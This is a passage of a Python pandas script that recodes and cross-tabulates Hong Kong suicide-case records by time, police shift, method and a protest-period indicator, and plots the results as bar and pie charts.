self.df['Period'] = self.df['Hour'].apply(lambda x: x % 6)  # midnight, morning, afternoon, night\r\n        self.df['警察更別'] = self.df['Hour'].apply(\r\n            lambda x: 'A' if 7 <= x < 15 else ('B' if 15 <= x < 24 else 'C'))\r\n        self.df['警察當更時數'] = self.df['Hour'].apply(lambda x: x % 8 + 1)\r\n\r\n    # ===== ===== ===== #\r\n    def group_reason(self):\r\n        self.df['原因1'] = self.df['原因1'].apply(\r\n            lambda x: x.replace('藥品', '酒精').replace('酒精', '酒精藥品'))\r\n\r\n    def group_suicide_method(self):\r\n        self.df['Suicide_Method'] = self.df['Suicide_Method'].apply(\r\n            lambda x: x.replace('不詳', '跳落').replace('槍械', '出血')\r\n        )\r\n\r\n    def indicate_possible_protestor(self):\r\n        self.df['protestor_indicator'] = (self.df['student'] + self.df['protest'] == 2)\r\n\r\n    def main(self):\r\n        self.drop_column()\r\n        self.drop_possible_column()\r\n        self.rename_header()\r\n        self.fill_for_na()\r\n        self.fill_with_avg_age()\r\n\r\n        self.update_date()\r\n        self.change_weekday_as_int()\r\n        self.change_case_of_day_as_int()\r\n        self.update_time()\r\n        self.group_reason()\r\n        self.group_suicide_method()\r\n        self.indicate_possible_protestor()\r\n\r\n\r\nreformed = Reformer(excel.df.copy())\r\nreformed.main()\r\n\r\n\r\nclass ChartAndPivot:\r\n    def __init__(self, df, cross_tab=None, cross_tab2=None, pivot=None, bar=None):\r\n        self.df = df\r\n        self.cross_tab = cross_tab\r\n        self.cross_tab2 = cross_tab2\r\n        self.pivot = pivot\r\n        self.bar = bar\r\n\r\n    # compare the relationship between protest and suicide method\r\n    # find that free fall during Protest is much more.\r\n    def build_cross_tab_4_protester(self):\r\n        self.cross_tab = pd.crosstab(\r\n            index=reformed.df['protestor_indicator'], columns=self.df['Suicide_Method'],\r\n            values=self.df['死亡'], aggfunc='count', normalize='index')\r\n\r\n    # consider the suicide rate:\r\n    # 1) new territory is higher,\r\n    # x) 非住, female is little higher.\r\n    # x) no suicide reason is less, but the suicide reason =  love, life is higher\r\n    # 4) period = middle is higher\r\n    # 5) saturday is higher\r\n    # 6) evening is higher\r\n    # *) 中更處理自殺案比例由28%(正常) 升至42% (運動)\r\n    # 8) 運動期間自殺案，警察較多在頭1小時或臨放工時處理\r\n    # below is just one of the example about new territory\r\n    def build_cross_tab_4_protester_2(self):\r\n        self.cross_tab2 = pd.crosstab(index=reformed.df['protestor_indicator'],\r\n                                      columns=reformed.df['警察更別'],\r\n                                      values=reformed.df['死亡'],\r\n                                      aggfunc='count', normalize='index')\r\n\r\n    # 00:00 to 04:00 has higher suicide rate\r\n    # Tuesday and Wednesday night also has higher rate\r\n    def build_pivot_against_weekday_n_period(self):\r\n        self.pivot = pd.pivot_table(\r\n            self.df, values=['死亡'], columns=['Weekday_int'],\r\n            index=['Period', ], aggfunc='count')\r\n\r\n    @staticmethod\r\n    def create_bar_chart():\r\n        labels = ['Traffic', 'Bleeding', 'Toxic', 'asphyxia', 'Self-immolation', 'Falling']\r\n        false_value = np.round(charted.cross_tab.values[0], 2)\r\n        true_value = np.round(charted.cross_tab.values[1], 2)\r\n        x = np.arange(len(labels))  # the label locations\r\n        width = 0.35  # the width of the bars\r\n        fig, ax = plt.subplots()\r\n        rects1 = ax.bar(x - width / 2, false_value, width, label='False')\r\n        rects2 = ax.bar(x + width / 2, true_value, width, label='True')\r\n        ax.set_ylabel('Percentage')\r\n        ax.set_title('Percentage By Indicators and Reason')\r\n        ax.set_xticks(x)\r\n        ax.set_xticklabels(labels)\r\n        ax.legend()\r\n\r\n        def auto_label(rects):\r\n            for rect in rects:\r\n                height = rect.get_height()\r\n                ax.annotate('{}'.format(height),\r\n                            xy=(rect.get_x() + rect.get_width() / 2, height),\r\n                            xytext=(0, 3),  # 3 points vertical offset\r\n                            textcoords=\"offset points\",\r\n                            ha='center', va='bottom')\r\n        auto_label(rects1)\r\n        auto_label(rects2)\r\n        fig.tight_layout()\r\n        plt.show()\r\n\r\n    @staticmethod\r\n    def create_pie_chart():\r\n        fig, axs = plt.subplots(1, 2)\r\n        labels = 'Traffic', 'Bleeding', 'Toxic', 'asphyxia', 'Self-immolation', 'Falling'\r\n        false_value = np.round(charted.cross_tab.values[0], 2)\r\n        true_value = np.round(charted.cross_tab.values[1], 2)\r\n        axs[0].pie(false_value, labels=labels, autopct='%1.1f%%', shadow=True)\r\n        axs[1].pie(true_value, labels=labels, autopct='%1.1f%%', shadow=True)\r\n        plt.show()\r\n\r\n    def main(self):\r\n        self.build_cross_tab_4_protester()\r\n        self.build_cross_tab_4_protester_2()\r\n        self.build_pivot_against_weekday_n_period()\r\n        # self.create_pie_chart()\r\n\r\n\r\ncharted = ChartAndPivot(reformed.df.copy())\r\ncharted.main()\r\n\r\n# ===== ===== ===== #\r\n# test = reformed.df.sort_values(by=['十八區'], ascending=[True, True])\r\n","repo_name":"denisuleung/python_Hong_Kong_Suicide_Case","sub_path":"Hong_Kong_Suicide.py","file_name":"Hong_Kong_Suicide.py","file_ext":"py","file_size_in_byte":8485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}